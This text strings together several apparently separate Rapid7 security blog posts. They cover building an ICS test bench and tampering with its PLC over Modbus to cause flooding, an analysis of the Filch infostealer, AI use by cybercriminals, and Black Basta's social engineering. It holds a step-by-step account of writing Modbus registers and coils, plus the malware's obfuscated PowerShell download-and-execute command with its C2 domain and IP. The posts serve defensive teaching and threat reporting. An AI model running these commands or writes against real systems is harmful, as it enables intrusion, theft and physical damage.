This is the first in a three part series on building and using a testing bench for ICS systems. In this series we will build a physical test bench, review program logic to find flaws, perform manual exploitation of commonly used ICS protocols such as Modbus, then develop malware to automatically exploit the bench to cause flooding.

Whether it’s in the water we drink, the medicines we take, or the electricity we use to read blog posts on the internet, Industrial Control Systems (ICS) are part of our daily lives. There’s so much that relies on these systems, you’d like to assume they’re engineered and tested to guard against cyberattacks. You’d be wrong.

Why aren’t our systems prepared for attacks? This is a tricky question. The systems running our critical infrastructure contain equipment 20+ years old. It’s not uncommon to see equipment 50+ years old which would require a full system revamp due to dependencies, and can easily cost millions. 

Another factor? Cybersecurity specialists tend to focus on IT systems, applying the concepts they have learned for that environment. It can be shockingly difficult to explain the logistical reasons an OT environment may have 10+ embedded Windows XP servers, and why they cannot simply be upgraded or patched. A common example of this is present in Human-Machine Interfaces (HMI) where the embedded systems both have vomited memory which prevents upgrades to more resource intensive OS and require applications written in the early 2000’s to interface with a piece of technology.

But the largest issue for testing is a skillset gap. Testing in ICS environments means working on systems where the wrong packet could cause injuries to life or limb. Programmable Logic Controllers (PLC), especially older models, might have extremely limited memory resources which could result in a Denial-of-Service (DOS). They might also crash should they accept a packet they cannot interpret. These operational impacts can be instantaneous, preventing timely manual intervention after they begin. Most organizations don’t have the risk appetite for such testing, and even fewer work to acquire the knowledge necessary to assess these networks. As such, very few penetration testers actively perform testing within these environments. This means that even those critical infrastructure providers who might wish for testing to be done may find it impossible to find a tester who can provide a valid assessment without operational impacts. 

I have been developing the internal network ICS penetration testing program here at Rapid7. During this process, I found that while there were many highly valuable resources available for training online, the amount of organizations sharing this knowledge appeared to be much smaller than one would expect given the criticality of these systems. For example, I have yet to discover a good online resource that provides knowledge on how to assemble and use a physical testing environment for penetration testing and malware development. While digital simulations such as Factory.io do exist, when you are training to deal with physical systems I believe it is important to have some experience with them in a hands-on manner. In addition, in building a test environment for yourself, a greater understanding of the system and its vulnerabilities can be gained.

These test systems, once built, additionally allow for simulation of program logic for PLCs. This allows for flexibility during a penetration test, and allows testing to occur in a safe environment where operational impacts would not be a concern. Otherwise, necessary avoidance of activities which would result in operational downtime might leave gaps in an organization’s security.

I would like to contribute to the knowledge pool and help bridge some of the gaps I felt when learning for myself. The goal of this series is to promote free sharing of knowledge in relation to ICS cybersecurity and penetration testing to help raise the skill floor and ensure organizations can receive proper testing to help protect our most critical systems.

Some Assembly Required

Note: As a disclaimer: While I will not be diving deep into electrical knowledge here, I would highly recommend searching for some basic knowledge on electricity and safety before attempting any of this at home. Even at low voltages, current flowing through your body can be fatal depending on several factors. In addition, for this buildout I will be working with water. Additional care must be taken when working with electricity around water. The typical resistance of human skin within dry environments can range from 1,000 to 100,000 Ohms, which might protect you from shocks which would otherwise be dangerous. However, wet skin has much less resistance and may result in dangerous current in otherwise similar circumstances. Please proceed with caution, use proper personal protective equipment, and prioritize safety at every step. Rapid7 does not assume responsibility for any injury or damage resulting from attempts to replicate this setup.

First, let’s look at what we might like to make. One of the easiest projects to start with is a system that moves something, so for our purposes we will use a simple gravity well and valve to pump water through some tubing to a container. To add some components and complexity, we’ll add a pump to the system to move the water out of the first container to a separate container. This will simulate a very basic process environment. We can additionally add some lights to denote the status of the process in its loop.

Supplies Gathered for Bench

Now that we know what we are making, we are going to need a controller. You can decide the PLC you would like to use to match budgetary limitations and the protocols you wish to test. Not all PLCs will allow you to test all protocols, so ensure you get the correct one for your use case. In my example I am choosing an Allen-Bradley Micro820. While the pricing on this might be higher than your budget, it does support several commonly-used protocols. Additionally, Rockwell provides the Connected Components Workbench software used for programming the device for free, which I found to be a nice plus. You will also need a power supply for your testing, for this I’ll be using a simple bench power supply that can go up to 32 Volts DC.

Micro820 Programmable Logic Controller in Operation

Next we will look at acquiring components and testing them for functionality and safety. Before getting components, we need to know what input voltage we will need to work with. The Micro820 is a great learning PLC as it runs off of 24 Volts DC. Lower voltage gives more room for mistakes should they occur, both for personal and component safety. 

I ordered a stoplight that also runs off of 24v DC to function as our signal to show process status. Upon receiving a new component, the first thing you should do is test its functionality and readings to ensure it was correctly wired and advertised. You don’t want to jump right to 24v if a component can only take 12v -  that is a good way to burn something out. 

What I am going to show next is a methodology that you can apply to all components you wish to use, though we will only go through it for the stoplight.

Stoplight Bench Component

The next step is to open it up and review the wiring. Here you can see the white and blue line leads into the bottom light, then runs as a black wire in series through the others. Meanwhile the blue lines going to the other terminals on the lights appear to be wired in parallel. You don’t need to fully be able to identify those right now, but recognizing that the setup implies that the blue and white line is the common while the blue lines are input is important.

Internal Wiring of Stoplight

Next we want to make sure that we can identify A: where the wires connect in the terminal blocks, and B: that the circuits are all complete and there are no unexpected breaks. To this end we will use a multimeter and perform continuity checks from the input side of the terminal blocks to the end of each light.

Continuity Tests

Next we will check the pilot lights to ensure that we don’t provide too much power and blow them out. By taking them out we confirm that they are Allen Bradley 800T-P16 pilot lights. They are rated for up to 120V AC and a high enough amperage rating that nothing we can do with this power supply will burn them out, meaning they are safe for use without any further modifications to the system.

Pilot Light Model Discovery

Now we can proceed to wiring. I suggest using traditional DC wiring standards to denote the common as black. As a note, AC standards are different and result in black being the ‘hot’ wire – please don’t get that confused! The inputs on our Micro820 are sourcing, which means they supply power. This will be important to know later, but for now remember this: power flows into each line individually and flows out through the shared common. I use my bench power supply to connect to all three lights in parallel, and confirm that they properly light at 24v DC, concluding testing of this component.

Fully Confirmed Functionality for Stoplight

We proceed with each of the components in a similar fashion to ensure they all function correctly and at the advertised voltages. It’s possible when planning your test bench you run across components that need a lower voltage. In those cases, a simple buck converter can be used in-line to step down the output voltage to avoid malfunctions in the component. 

Once everything is tested, it is time to mount and wire. For a simple project like this,  I used a cheap 2x2 square of plywood, though you can use anything you feel is sufficient to hold and maintain the weight mounted to the board. Make sure you properly position your supports so that it does not fall forward, as the board might be top-heavy.

Mounted and Wired PLC

I’d like to additionally take a moment to talk about terminal blocks and wire management. (I could do a whole blog post on this, and perhaps I will soon.) Your PLC will only have so many connectors available on its block, and you don’t want to cause a short by trying to cram too many wires into one slot. Splicing terminal blocks are great for relaying common connections to all of your components while keeping connections at the PLC itself minimal. In addition, many of them can be mounted to the DIN rail, allowing for a very smooth and cohesive flow of wires compared to what you might otherwise have. 

Wires Connected to Terminal Blocks

While wiring pieces together, you will want to ensure that you only expose the amount of wire needed to make a connection. Any additional exposure and you risk causing a short should a stray strand of another wire touch any hot wire. In addition, make sure that your wire is correctly rated for the current or you might be at risk of fire. For this project, I found 16 gauge wire to be more than sufficient. 

As I will be connecting power through my bench supply I need to design a way to both keep the power connections themselves away from all other components, wires, and water systems and ensure that there is no chance of a short circuit. To solve this in a simple fashion, I lead the wires around to the back of the panel, where they are the only connections. I then connect the bottom input connection through a terminal block while relaying common through yet one more block, lengthening the distance between the leads. This helps to minimize the risk of a short should either wire disconnect.

Input Power System

Now we can look at the water systems. For any tubing or components you connect, you will want to ensure that any National Paper Taper (NPT) threads are properly wrapped with Teflon Tape and clamped. If you do not do this, your connectors will leak under pressure. While the designed system here separates wires from water systems well, water near live wires would substantially increase risk and should be minimized. Always try to separate your electrical systems from any other components where possible to minimize risk of unintended interactions.

When working with a new type of system, be it pneumatic, water pressure, or electrical, I’d highly recommend doing some trades research to get knowledge from those who work with the system on a deeper level. It will greatly reduce the number of trips you need to make to your local hardware store!

Teflon Tape Applied to NPT Threads

Before connecting any water components, I recommend doing an isolated test of water flow to ensure no unexpected leaks occur. Doing so helps to ensure that you don’t run into a cascading failure with water flowing onto your board, components, or bench power supply.

Isolated Leakage testing

Once everything is connected, the system is ready for programming and operation and the initial test bench is complete. This system is easily scalable once you understand how it operates, making it easy to work with someone else’s logic and add various sensors and components to get physical simulation of exploitable logic flaws at a much smaller and safer scale.

In the next article, we will discuss how to program the PLC, logic flaws commonly seen in the programs, and manual exploitation of the system. The article following that will discuss development of malware which can exploit the vulnerabilities in our system.

Completed Bench Assembly

This is the second in a three-part series on building and using a testing bench for Industrial Control Systems (ICS). In this series, we will build a physical test bench, review program logic to find flaws, perform manual exploitation of commonly used ICS protocols such as Modbus, then develop malware to automatically exploit the bench to cause flooding.

Configuration and setup

Now that we have built our bench, we will cover configuration and logic programming for the PLC as well as manual testing of the device to modify and impact operations. If you would like to see how the bench was assembled and tested for proper wiring, you can find part one here.

The first step in this process is to install the appropriate programming software for the PLC. In the case of the Micro820 we are using, this will be the Connected Components Workbench provided as free software by Allen-Bradley. The first step is to connect the device to a local network via ethernet. After powering the device, we can use the Discover feature of the software to discover and connect to the PLC for programming purposes.

Micro820 Connected to Programming Software

When connecting to the device, you should see a message stating the device is not protected by a password. This password would be required for authentication to the device from the programming software, preventing malicious actors from gaining privileged access to the device, which would allow for alteration of programming logic. While proceeding, it is worth noting that all devices should be secured with a password for access to the programming interface.

The next step for our lab is to enable Modbus TCP for the lab environment. Modbus is one of the foundational protocols within OT environments, with heavy use across every sector. The protocol itself, unfortunately, is quite vulnerable to multiple attack vectors as it transmits without encryption, allowing for packet captures and subsequent replay attacks or reverse engineering of the application. By navigating to the ethernet settings for the device, we can easily enable Modbus TCP for the device:

Modbus TCP Enabled on PLC

After enabling Modbus, we next need to map specific addresses to variable names. When pentesting Modbus, the addresses you are most likely to actively attempt to tamper with will be those for Coils and Holding Registers. Coils are defined quite simply as Boolean values which can be set to either on or off. These will lie in the lowest ranges of the address space, as you can see from the addresses beginning at 000001 and ending at 000005.

Meanwhile, Holding Registers are used to store specific variables used by the device program, often to allow for remote reading by other PLCs or logging systems. You can see that we have defined these in the 40000 range and 400000 range. This is to show that newer devices are smarter with address ranges and will accept either format, whereas older devices may define the address range for holding registers strictly as one or the other.

Other register addresses such as discrete inputs are commonly used within ICS environments to hold processed input values from sensors. However, we are not using them here as they are Read Only and cannot be directly modified during testing.

Mapping Variables to Modbus Addresses

After mapping the variables, we need to define them within the PLC’s global variables, and can now configure these using their variable names. Something interesting happens while we are doing so: Connected Components Workbench grants Read/Write access to all variables by default. This will allow for the device, and anything authorized to interact with it, to freely write to all variables. 

For Holding Registers this poses a unique risk: if the register is directly used within program logic as an input at any point, alteration could adversely impact operation. If possible, best practice for holding registers would be to have a second set of variables which we copy to these values instead. This allows for the values directly used within the program logic to remain untouched even should a malicious actor tamper with the register, while also properly exposing the values for other controllers to use. 

As coils are a binary output of current, they have their own methods which would need to be employed for protection. The methods listed above would not necessarily stop an attacker from impacting operations as the coils could still be freely turned on or off regardless of the original value.

Defining Global Variables with Read/Write Permissions

Adding some structure

Now that we have defined the variables, we can begin creating the program for the device. For general audience readability, we will be using Structured Text (.st) for this program. Ladder Logic is more commonly used in day-to-day operations, however a better understanding of the code of the program will aid us in understanding why a specific attack may work in certain situations. 

The first thing we need to do is map the direct outputs which we will use to provide voltage to their associated global variables. This will allow the program to open or close circuits in accordance with its programming cycle:

Mapping Direct Outputs to Variables

Our next step is to create the program logic itself. The IF statements used here should be straightforward to interpret. Timer1 and its associated statements establish a 1 second pulse for the timer cycle. The code proper describes a 75 second loop which does the following:

• Opens the ball valve to let liquid into container 1 and turns on the green pilot light for 15 seconds

• Closes the ball valve and turns on the red pilot light to simulate the chemical process occurring in container 1 for 45 seconds

• Turns on the pump to move liquid to container 2 and turns on the yellow pilot light for 15 seconds

• Loop

Created Program Code

Now we can start to address some of the underlying issues with this code. 

First, we need to explore the beginning valve in section. This defines states for each variable, which is more important than you might think. In software engineering, we tend to define and call variables only when needed. However in ICS engineering, underdefined variables can pose a great risk. When using a protocol such as Modbus, an attacker may be able to directly interact with variables in such a way that it would be equivalent to a process injection attack. When variables are defined, this is not an issue as the PLC will constantly write the values it believes should be active to any variables – but an under-defined variable would allow for alteration until the next time the PLC sets its state:

'Valve In' Code Properly Defines all Variables

For instance, the other sections are not as safe in their definition. The chemical process section shuts off the valve from the prior section, but assumes the pump remains in the same state it was previously as no changes have occurred within the program:

Pump Variable Missing from ‘Chemical Process’ Segment

Likewise, for the pump out phase, similar issues arise which allow for vulnerabilities with the valve:

Valve Variable Missing from ‘Pump Out’ Segment

Burning down the house

Now that we have created the code, we can hit the Download button within Connected Components Workbench to download our program to the PLC for use. Now that it is running, we can begin initial enumeration for attack. A basic Nmap scan against port 502 (Modbus TCP) reveals a device from Rockwell Automation with the service available.

Something which is extremely useful when testing in ICS environments are Organizationally Unique Identifiers (OUI). These identifiers are determined by the first three octets of a MAC address. While we used Nmap here, in live environments, such scanning may not be safe. Older devices may not know how to interpret unexpected packets, leave connections open without resetting them, or may run out of memory if scans come in too soon – all of which could result in a fault or crash. Such errors could result in potentially catastrophic cascading failures, and as such active enumeration should be avoided in cases where impacts might be uncertain. Passive techniques such as packet captures would provide the MAC address of devices sending traffic on the network, which could then be used to determine the manufacturer and potentially identify the type of device.

Rockwell Device Detected by OUI

Once we know the IP of the device, we can use Metasploit’s very useful auxiliary/scanner/scada/modbusclient module to interact with the Modbus protocol. This module allows for specific interaction across many different registry addresses and is packaged in an easy to work with form. Other methods of interaction such as with the PyModbus library do exist and can be useful for more technical interactions – but for our purposes, this module will work very well.

Metasploit Module for Modbus Protocol

For our first enumeration we will start by reading the holding registers while the program is running. From our setup, we know that the holding registers should contain the timer value, which could potentially lead to exploitation. By selecting the action read_holding_registers we can access these registers and attempt to read their data:

Modbus Module Configuration Options

Now we can set the data address (where we start reading from) to 0. The module will automatically update addresses based on the action used. As we are using the read_holding_registers action, the address space will automatically be set to 40001, so we will start at the initial value of 0 and read two consecutive registers from the host.

Modbus Module Configuration

We run the command twice, with the second attempt two seconds after the first, and determine that the numbers are going up and are likely related to a timer. From the perspective of a malicious actor working in a blackbox context, the logic for the timer cycle could be reverse-engineered by polling the addresses every second for a few minutes:

Reading Holding Registers

Next we can use the write_registers action to write a value, set by the data parameter, to the register at 40001. As this timer is actively in use by the program and the exposed holding register is not copied from an internal variable, any alterations should be ingested into the program and allow us to control the timer cycle directly:

Successful Write to Holding Register

By checking the bench, we can see that the light has changed to green, resetting the timer cycle entirely. This can be a dangerous logic vulnerability as the timer cycle directly correlates to every other action taken by the board. If a malicious actor wanted to flood the floor with water, spamming write 0 to the register would keep the valve open in perpetuity. Likewise, the other situations would impact operations just as much and could lead to severe results depending on the sensitivity of the chemical process being simulated:

Timer Reset Through Manual Register Tampering

In similar fashion the read_coils action allows us to enumerate the value of all coils on the device. By comparing these values to those of the timer in the holding register, an attacker could likely reverse-engineer the coil logic itself as well. We can see three sections distinctly shown which correlate to the chemical process section with its single red light (0,0,1,0,0), the pump out section with an active pump and yellow light (0,1,0,1,0), and the valve in section with the green light (1,0,0,0,1):

Reading Modbus Coils

Exploiting the underdefined coils works similarly to the attack path previously described: by manually closing the valve circuit (associated with coil address 4 as the addresses start with 0) while in the pump out section, we can open the valve during the phase and double the amount of fluid into container 1:

Successful Exploitation of Vulnerable Program Logic

Recap and review

We’ve now successfully performed attacks against the bench after programming in specific flaws to make it vulnerable to specific techniques - methods that actively work in many operational environments even to this day. While Rapid7 does not perform highly invasive testing against live operational equipment which may specifically impact operations, we do perform such actions against staging or test deployments. Being able to review and exploit logic in a test environment which contains physical inputs and outputs, even at simulated levels, can help to find true gaps within PLC program security.

There exist multiple wonderful digital labs which can allow you to learn more of the basics of OT security and penetration testing such as Factory.io and Labshock, and I highly recommend these to anyone interested in diving into ICS security assessments. The main drawback to these systems is a lack of modularity for niche cases that might make it hard to properly simulate the logic you need to test.

The best part about a test bench is that it can always be modified to suit the needs of the logic. While you might not be able to get an industrial motor, you can get a cheap buck converter and small motor to simulate the equipment used in the field. These small changes can allow for unconventional, but effective, approaches to testing a PLC program.

Still to come:

In the final section, we will look at developing sample malware specific to our test environment to provide more insight into what such malware may look like. While we often hear of OT-specific malware, it often seems mysterious and complex. Understanding that there is no inherent difference between IT and OT malware is the first step in reducing some of the fear. The goal? Increase understanding, which improves  prevention, triage, and command of our infrastructure.

In recent weeks, Rapid7 has observed an increased volume of incidents involving domains generated by domain generation algorithms (DGAs). DGAs are a known technique leveraged by malware authors to quickly create a large number of domain names, which will point to command and control (C2) servers operated by the attackers. Observed domains shared multiple commonalities such as .infotop-level domains and a fixed length of 24 alphanumeric characters.

Attacks that start with a ClickFix social engineering lure quickly morph into more sophisticated campaigns using PowerShell scripts hosted on a remote server for in-memory execution of obfuscated .NET loader, which in turn injects a newly-discovered infostealer into MSBuild.exe via process hollowing. The final payload, dubbed ‘Filch Stealer,’ collects information about infected hosts, such as machine type and user name, installed antivirus products, and crypto-related applications and wallets. Once this information is exfiltrated to C2, Filch then awaits commands from the operator which could include file execution, wallet theft, and more.

Technical analysis 

Initial access

From the available evidence, this campaign is using a social engineering technique called ClickFix to execute the first stage of the attack by prompting the user to “verify that they are human.” 

Figure 1: Fake Captcha displayed to the unaware user

After clicking on the verification button, the victim is instructed to follow the steps in the prompt and to open the windows RUN dialog, paste clipboard contents there, and execute them. This leads to the execution of the obfuscated PowerShell script shown below.

C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -N"OPr"O —w h –C "$v"jl"ea = 'cm"b"8k"1n"bj"000"00"8"l"1ap"i0"7o0n.inf"o'; $p"h"blnm = Invo"k"e-R"e"st"Me"tho"d" -U"r"i $vj"le"a; I"nv"o"ke"-E"x"pression $phblnm"

The obfuscation of the PowerShell script is relatively simple; it's just basic string splitting using quotes to break up keywords and the URL. Unfortunately, it’s still enough to bypass some anti-malware products. Once reconstructed, the script fetches and executes a first-stage PowerShell payload from cmb8k1nbj000008l1api07o0n[.]info.

Stage 1: PowerShell

The initial PowerShell script has three core functions: 

1. Bypass the Windows Defender — The script disables antivirus protection by adding an exclusion for the C:\Windows\Temp directory.

2. Establish a Persistence Mechanism — To maintain persistence across reboots, the script creates a malicious internet shortcut LixPay.url SHA256: 80121F864130538879E34EFFEC35E6B5E30FC9F04A9A57C58154CA87DDBA033C in Startup folder which points to a file C:\Windows\Temp\LixPay.bat SHA256: 09953B74161F62DE262BD258873E6749F75F6C8D306291BF94C5EE439478C017.

This .bat file is retrieved by the script from the url hxxps://cmb8k1nbj000008l1api07o0n[.]info/test.bat.

3. Execute the Payload — The test.bat contains the following payload:

Figure 2: Content of test.bat

This code uses PowerShell to download a remote script from cmb8k1nbj000008l1api07o0n[.]info/?x and execute it with Invoke-Expression. This gives the attacker an opportunity to make the final payload more modular, as the content of cmb8k1nbj000008l1api07o0n[.]info/?x can be modified. At the time of the analysis, this URL was hosting a PowerShell script which is almost identical to the original script’s reflective execution function.

Execution is performed reflectively, which means that the file is loaded directly into the memory instead of writing it on the disk and then reading and executing it. The payload is Base64 encoded and the following script is responsible for decoding and executing a heavily obfuscated .NET binary Stub.exe.

Figure 3: Part of the script responsible for reflective loading and executing of the Stub.exe

Stage 2: .NET Injector

Dynamic analysis of the binary originally named Stub.exe SHA256: FA0B8A4DDB0BAC8F532CA5E5CF462564D7ED3B23A90617DD3D6FBAD9D420E921 shows it uses a process hollowing technique, injecting malicious code into a suspended MSBuild.exe process. It starts by compiling a C# DLL with csc.exe that implements the hollowing logic and loads it into Stub.exe during execution. A randomly named, 8-character-long directory is created in the %Temp% folder. Multiple files are dropped into this directory, all sharing the same base name as the directory but differing by extension. These files are removed before the execution of MSBuild.exe, yet the directory itself is left behind — potentially indicating a lack of sophistication in the malware's design.

Table 1: Files dropped by the malware

 Figure 4: APIs used for the hollowing of the MSBuild.exe

To bypass the obfuscation, we used x32dbg to get to the part where malware is writing the code into a suspended MSBuild.exe and dumping the payload from the memory.

Figure 5: Decoded binary before the injection. Notice process handle to MSBuild.exe

Stage 3: Analysis of the final payload

The final payload is once again a 32-bit .NET binary with the original name EepGrid.exe SHA256: 100314E441DF9F9E77648F6583DB653D89B511826460763EA7DCF32190566AB6 which contains 8 classes: 

• Connected

• Control

• Func

• Information

• Program

• Sender

• Settings

• WalletsP

Figure 6: Snippet of the function ListenForCommands, responsible for handling commands sent by C2

To avoid running multiple times, the malware checks how many processes share its own name, and if it finds more than one it assumes it’s already active and stops execution. If the check returns zero, then the execution will jump into the Connected object, which will connect to the server over TCP port 4000. After this, Sender object is executed, which will perform enumeration of the host using functions defined in the Information and WalletsP classes.

Enumerated information consists of: 

• Machine and user name

• Information about CPU and memory 

• Installed AV solutions

• Version of OS (32 or 64 bit)

• Current date and time

• Installed applications, mainly ones that are related to finances and crypto, such as Trading.View.exe, Exodus.exe, PhoenixMiner.exe, IPFS Desktopn.exe, and others. If there are no targeted applications installed, return value is null.

• It will then check for the existence of crypto browser wallets that are stored either in Chrome or Edge browsers, as well as desktop wallets. If they exist, a string “YES” is returned; otherwise, “NO” is returned. 

Table 2: Crypto Wallets and applications targeted by the stealer

After the enumeration is done, information is concatenated into a string where the values are separated by a pipe | and sent to the C2 91.92.46[.]60.

Once the initial data has been sent to the C2, a task ListenForCommands is executed which will process retrieved commands from the C2. Commands are separated by a pipe | and cast into a lower case for further processing. 

At the time of the writing of this blog, the malware could handle 4 commands: 

• runfile — Execute a specified file stored on a local system

• filetransfer — Save the file sent by C2 into C:\Windows\Temp directory and execute it via the previously mentioned runfile function

• getscreenshot — Send a screenshot of the infected host to C2 

• getwallets — Extract the specified crypto wallets in a ZIP archive to C2

Conclusion

Although this attack initially appeared sophisticated, further analysis revealed it to be a relatively standard piece of stealer, which we have named Filch Stealer. From compiling DLLs directly on the infected host, to using decades-old techniques like process hollowing, and even exfiltrating data in plaintext, this stealer highlights the minimal effort invested by its author.

Despite the simplicity of the malware itself, it was still able to bypass some antivirus solutions and proceed with execution unimpeded. Until the majority of organizations treat security as a priority rather than an afterthought, attackers will have little reason to improve, because even their baseline efforts are often enough to provide a steady flow of income.

Rapid7 customers

InsightIDR, Managed Detection and Response (MDR), NGAV, and Ransomware Prevention customers have existing detection coverage through Rapid7's expansive library of detection rules. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to Filch Stealer. 

We will also continue to iterate detections as new variants emerge, giving customers continuous protection without manual tuning:

• CLI Obfuscation - Quote Insertion, Circular Relative Pathing, Alternating Slashes

• Attacker Technique - Quote Insertion in Run Utility Command

Also available for NGAV and Ransomware Prevention customers:

• Endpoint Detection - A process attempted 'Process Hollowing' technique

• Endpoint Detection - PowerShell Reflective Execution

• Endpoint Detection - PowerShell Downloaded and Executed Reflectively

Indicators of compromise (IOCs)

File indicators

Network indicators

91.92.46[.]60:4000

cmb8k1nbj000008l1api07o0n[.]info

MITRE TTPs

As AI becomes more accessible, cybercrime-as-a-service platforms are emerging, allowing even non-experts to launch complex attacks using rented AI tools. The use of AI tools by cybercriminals and state-sponsored groups further increases the risk of cyberattacks against public and private organizations across all sectors. 

In the coming years, cyber threats will likely be profoundly influenced by malicious actors' increasing use of AI-powered tools. As AI’s capabilities continue to advance, malicious actors are expected to leverage them to automate and improve their attack patterns, making them faster, more sophisticated, and harder to detect.

Deepfake impersonations: The new face of fraud

Deepfake technology has matured to the point where audio and video forgeries are nearly indistinguishable from authentic recordings. If a deepfake relies on AI, machine learning is a key element in its creation. Convolutional neural networks (CNNs) are a subset of powerful AI modeled in part on the human mind; they are capable of detecting trends in information and can be used for image and speech recognition.  While one may think creating a deepfake requires complex tools and technical skills, this is not the case. They can also be made with basic knowledge of computer graphics, which can help to democratize the use of deepfakes. For example, a deepfake video can be created in just two steps. 

First, a large amount of actual video footage must be fed into to a deep neural network, which is gradually trained to recognize a person's rhythms and detailed characteristics. The number of videos or visual data needed to create a realistic deepfake depends on several factors, including image and audio quality, lighting conditions, viewing angle, facial expressions, and the complexity of the deepfake model used. This gives the algorithm a realistic representation of an individual's appearance from different perspectives. Second, the system combines the learning algorithm with facial and vocal models generated from the neural network input. 

Cybercriminals have successfully leveraged artificial intelligence, using deepfakes to impersonate executives, deceive employees, and execute fraudulent transactions. Deepfake services for identity theft are now available on the dark web, including underground forums and Telegram channels. These services include real-time face and voice replacement for recorded or live video/audio messages, often used to bypass Know Your Customer (KYC) verifications.

AI-powered malware: Smarter, faster, deadlier

AI is also revolutionizing malware development, enabling the creation of adaptive and evasive threats, such as polymorphic malware, which automatically modifies its code to evade detection, reducing the effectiveness of traditional signature-based antivirus solutions. Tools like Nytheon AI and WormGPT offer real-time capabilities that require no coding skills, enabling users to generate malware, counterfeit documents, and phishing campaigns. These platforms, accessible on the dark web, often feature multilingual, voice-enabled interfaces.

It's becoming easier for cybercriminals to develop ransomware using AI-powered tools. Generative AI models can assist even those with limited coding skills by providing step-by-step instructions, generating malicious code snippets, and suggesting ways to evade detection.

Moreover, generative AI also enables cybercriminals, with services like FraudGPT, to create highly personalized Business Email Compromise (BEC) emails and scam pages, increasing their perceived validity to positively influence the success rate of social engineering attacks.

Emerging threats: AI in the hands of cybercrime and state-sponsored groups

Cybercrime groups and state-sponsored actors increasingly leverage artificial intelligence to enhance their cyber capabilities, marking a significant evolution in the threat landscape. 

One prominent example is the deployment of AI in ransomware campaigns. Some criminal groups like FunkSec and RansomHub have or are suspected of using AI-powered tools in their offensive operations. These groups are enhancing the sophistication, speed, and success of their attacks. A primary use of AI in this context is the automation of target reconnaissance. By employing AI-driven data mining and machine learning models, threat actors can efficiently scan and analyze vast amounts of publicly available data to identify vulnerable systems, valuable targets, and entry points.

Additionally, natural language processing (NLP)  can be used to craft compelling phishing emails or social engineering messages tailored to a target’s online behavior or organizational role. AI can also optimize the timing of ransomware deployment for maximum impact, such as during off-hours or system downtimes. This strategic integration of AI reduces the need for manual effort. These capabilities significantly increase the likelihood of successful ransom payments, making AI a formidable new dimension in the evolving ransomware threat landscape.

Threat actors continue to integrate AI tools into cyberattack campaigns to improve their effectiveness, stealth, and adaptability. Some APT, cybercrime, and hacktivist groups, such as SweetSpecter, CyberAv3ngers, and Lazarus, leverage AI for automated reconnaissance, allowing them to scan targets, identify vulnerabilities, and deploy malware. Machine learning models are used to craft convincing spear-phishing messages by analyzing targets' linguistic patterns and online behaviors, increasing the likelihood of successful social engineering. AI-driven malware can adapt its behavior in real time to evade traditional detection systems, such as antivirus software and intrusion detection systems. As AI evolves, their integration into APT operations poses a growing challenge for defenders in maintaining situational awareness and implementing effective countermeasures.

State-sponsored actors are also using AI for strategic, long-term operations. The Chinese-affiliated group APT31 has been reported to use AI-driven facial recognition and surveillance tools in tandem with cyber operations for domestic and international espionage. Russian-linked APT28 has experimented with AI-generated deepfakes to create realistic video content for disinformation campaigns. These AI-enhanced capabilities enable the manipulation of public perception and psychological operations, often with plausible deniability.

Implications for organizational cybersecurity

The growing use of AI-powered tools by cybercriminals and APT groups can significantly affect organizations' cybersecurity. These threat actors can now automate and deploy sophisticated attacks with greater precision, speed, and stealth. AI enables them to craft more compelling phishing campaigns, bypass traditional detection systems with adaptive malware, and exploit vulnerabilities with unprecedented efficiency. 

To respond, organizations must evolve their cybersecurity strategies. This includes integrating AI into defense systems, enhancing employee awareness, and prioritizing real-time threat intelligence and anomaly detection. Ultimately, the AI ​​arms race between attackers and defenders significantly raises the stakes, forcing organizations to evolve their cybersecurity strategies to stay ahead continuously.

There has been a significant decrease in social engineering attacks linked to the Black Basta ransomware group since late December 2024. This lapse also included the leaked Black Basta chat logs in February 2025, indicating internal conflict within the group. Despite this, Rapid7 has observed sustained social engineering attacks. Evidence now suggests that BlackSuit affiliates have either adopted Black Basta’s strategy or absorbed members of the group. The developer(s) of a previously identified Java malware family, distributed during social engineering attacks, have now been assessed as likely initial access brokers, having potentially provided historical access for Black Basta and/or FIN7 affiliates.

Overview

The first stage of the attack remains the same. The operator will flood targeted users with a high volume of emails, to the order of thousands per hour. This is often accomplished by signing the target user’s email up to many different publicly available mailing lists at once, effectively creating a denial of service attack when each service sends a welcome email. This technique is commonly known as an email bomb.

Following the email bomb, the strategy then splits between operators, though they all ultimately reach out to impacted users pretending to be a member of the targeted organization’s help desk. The majority of operators still perform this step via Microsoft Teams using either a default Azure/Entra tenant (i.e., email account ends with onmicrosoft[.]com) or their own custom domain. In rare cases however, operators, particularly those affiliated with BlackSuit, may forgo Microsoft Teams in favor of calling the targeted users directly with a spoofed number. This strategy, if successful, allows them to circumvent the cloud logging that would be recorded otherwise. For the first time, an explanation of the process written by Black Basta’s leader is also available for a summary of the process, in the context of explaining the attack to a new affiliate:

Figure 2. Black Basta’s leader explains the social engineering attack. Additional chat logs with translations are available at the Rapid7 GitHub repository

If the affiliate is able to gain the user’s confidence, they will still primarily attempt to gain access to the user’s asset — and thereby the corporate network — via Quick Assist. Quick Assist is a built-in Windows utility that allows a user to easily grant remote access to their computer to a third party. The utility has been widely abused for social engineering attacks, a trend which continues. BlackSuit affiliates in particular may also direct the user to a malicious domain that hosts a fake Quick Assist login page, for the purpose of harvesting their credentials.

Figure 3. Fake Quick Assist login page, functions as a credential harvester.

In cases where the affiliate is unable to get Quick Assist to work, they will still cycle through a variety of other popular remote access tools (e.g., AnyDesk, ScreenConnect), and if that still doesn’t work, they may simply hang up on the user and move on to the next target.

Black Basta had at least one caller template/script for this purpose:

Figure 5. A call script used by Black Basta’s operators. The full script is available at the Rapid7 GitHub repository.

Quickly obtaining reliable access to the target network is still the top priority in the early stages of the attack, typically facilitated by stealing the targeted user’s credentials. In the past this has been achieved, for example, via a QR code sent to the target user via Microsoft Teams or the download and execution of malware which creates a fake Windows authentication prompt.

Figure 6. One of Black Basta’s operators discusses the usage of QR codes for credential harvesting.

In some cases the operator who makes the initial call may also coerce the target user to provide an MFA code while still on the phone. Historically, operators will also attempt to steal VPN configuration files once remote access is established, which can allow them to authenticate directly to the network if the compromised user account is not remediated.

Figure 7. One of Black Basta’s operators discusses using stolen credentials to authenticate directly to the VPN for the targeted environment.

